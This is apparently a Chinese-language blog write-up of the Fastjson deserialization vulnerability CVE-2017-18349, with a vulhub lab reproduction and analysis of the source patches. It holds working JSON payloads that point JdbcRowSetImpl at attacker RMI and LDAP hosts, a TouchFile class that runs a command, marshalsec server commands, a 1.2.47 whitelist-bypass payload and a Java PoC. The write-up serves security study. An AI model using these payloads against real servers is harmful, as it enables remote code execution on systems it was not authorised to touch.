Fastjson反序列化漏洞

smileleooo發表於2024-05-07

目錄
  • 漏洞原理
  • 復現
    • Fastjson 1.2.24
    • Fastjson 1.2.47
  • 漏洞分析

Fastjson 是阿里巴巴開源的一個Java庫,用於將Java物件轉換為JSON字串(序列化),以及將JSON字串轉換為Java物件(反序列化),漏洞編號CVE-2017-18349。

漏洞原理

Fastjson 引入了 autoType 功能,允許在反序列化過程中透過 @type 指定一個類的全限定名,Fastjson將會嘗試建立該類的例項。

如果服務端反序列化了不可信的JSON資料,攻擊者可以構造特定的JSON字串,使得Fastjson在反序列化時例項化攻擊者指定的類,並可能呼叫該類中的方法,導致遠端程式碼執行。

舉個例子:

假設想要利用Fastjson反序列化漏洞來執行遠端程式碼

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://attacker-ip/Exploit",
  "autoCommit": true
}

這裡的 @type 是告訴Fastjson反序列化時建立 com.sun.rowset.JdbcRowSetImpl 類的例項。

dataSourceName 這是 JdbcRowSetImpl 類的一個屬性,可以設定它的值為一個RMI伺服器的URL。當Fastjson反序列化這個JSON時,會嘗試根據這個URL去指定的RMI伺服器中去呼叫方法。

當Fastjson設定 autoCommit 這個值為 true 時,會觸發一個連線操作,進而導致 JdbcRowSetImpl 嘗試從RMI伺服器載入類。

復現

Fastjson 1.2.24

影響版本:Fastjson < 1.2.25

環境搭建:使用 vulhub 搭建

cd /vulhub/fastjson/1.2.24-rce
docker compose up -d

訪問 8090 埠,POST一個json物件,可以更新服務端的json的輸出:

image

首先需要的在本地編譯一個class檔案,目的是讓靶機透過RMI服務遠端載入這個類,執行其中的程式碼。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success-fasrjson"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

class檔案編譯好以後,在class檔案所在目錄啟用一個 python http 服務,讓靶機可以訪問到這個檔案。

python3 -m http.server 1234 # 監聽在1234埠

image

還需要使用 marshalsec 這個專案來啟動一個RMI服務。

git clone https://github.com/mbechler/marshalsec
cd marshalsec
apt-get install maven
mvn clean package -DskipTests # 使用jdk8來構建這個專案

如果maven構建速度太慢,可以在 /usr/share/maven/conf/settings.xml 換源。

image

啟動一個RMI伺服器,監聽 1099 埠(RMI服務預設在1099埠),並指定載入遠端類檔案:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.128:1234/#TouchFile" 1099

向靶機POST如下Paylaod,使靶機建立一個JdbcRowSetImpl物件,並呼叫TouchFile類。

image

靶機回連本地RMI服務,RMI服務端收到請求:

image

python服務端收到請求,返回了TouchFile類:

image

進入到靶機docker環境中,可以看到 /tmp/success-fastjson 檔案已經成功建立,利用成功。

image

除了基於RMI的利用方式,還有基於 LDAP 的利用方式。和RMI的利用方式類似。

還是用 marshalsec, 啟動一個LDAP的服務:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:1234/#TouchFile" 1099

POST JSON Paylaod:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.88.128:1099/TouchFile",
        "autoCommit":true
    }
}

Fastjson 1.2.47

Fastjson在 1.2.24 版本後增加了反序列化白名單,在 1.2.48 以前的版本中,可以利用特殊構造的json字串繞過白名單檢測,成功執行任意命令。

JSON Payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://attacker-ip/Exploit",
        "autoCommit":true
    }
}

漏洞分析

我的Java基礎沒那麼好,這裡就結合其他師傅寫的文章淺淺地分析一下。

Fastjson漏洞的幾個關鍵函式:

DefaultJSONParser.parseObject() 解析傳入的 json 字串提取不同的 key 進行後續的處理。

TypeUtils.loadClass() 根據傳入的類名,生成類的例項。

JavaBeanDeserializer.Deserialze() 依次呼叫 @type 中傳入類的物件公有 set\get\is 方法。

ParserConfig.checkAutoType() 阿里後續新增的防護函式,用於在 loadclass 前檢查傳入的類是否合法。

首先來看看 1.2.24 版本,274行此處判斷如果含有@type標記,則呼叫lexer.scanSymbol,返回的ref就是@type的值,然後直接使用TypeUtils.loadClass()來生成類的例項clazz。同時1.2.24版本的autoType是預設開啟的,autotype功能允許在JSON字串中透過@type指定一個類的全限定名,然後在反序列化時建立這個類物件,從而就引發了這個反序列化漏洞。

image

接著來看看 1.2.25 版本是如何修復的,自從1.2.25起autotype預設為False,同時增加了 checkAutoType 方法,不再是直接載入類,在該方法中進行黑名單校驗,同時增加白名單機制。

image

但是這個防禦的措施並不完美,原生的 AutoType 相關檢查會被被繞過。

1.2.25-1.2.47 版本補丁繞過

漏洞原理是透過java.lang.Class,將JdbcRowSetImpl類載入到Map中快取,從而繞過AutoType的檢測。

這裡有兩個版本段:

  • 1.2.25-1.2.32 版本:未開啟AutoTypeSupport時能成功利用,開啟AutoTypeSupport不能利用

  • 1.2.33-1.2.47 版本:無論是否開啟 AutoTypeSupport,都能成功利用

POC

import com.alibaba.fastjson.JSON;

public class Demo {
    public static void main(String[] args) {
        String PoC = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"ldap://82.156.158.68:1389/EvilClass\",\n" +
                "        \"autoCommit\":true\n" +                "    }\n" +
                "}";
        JSON.parse(PoC);
    }
}

參考文章
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2017-18349Fastjson反序列化.md
https://www.clementi.top/2023/09/24/Fastjson反序列化漏洞復現/index.html
https://www.freebuf.com/vuls/208339.html
https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章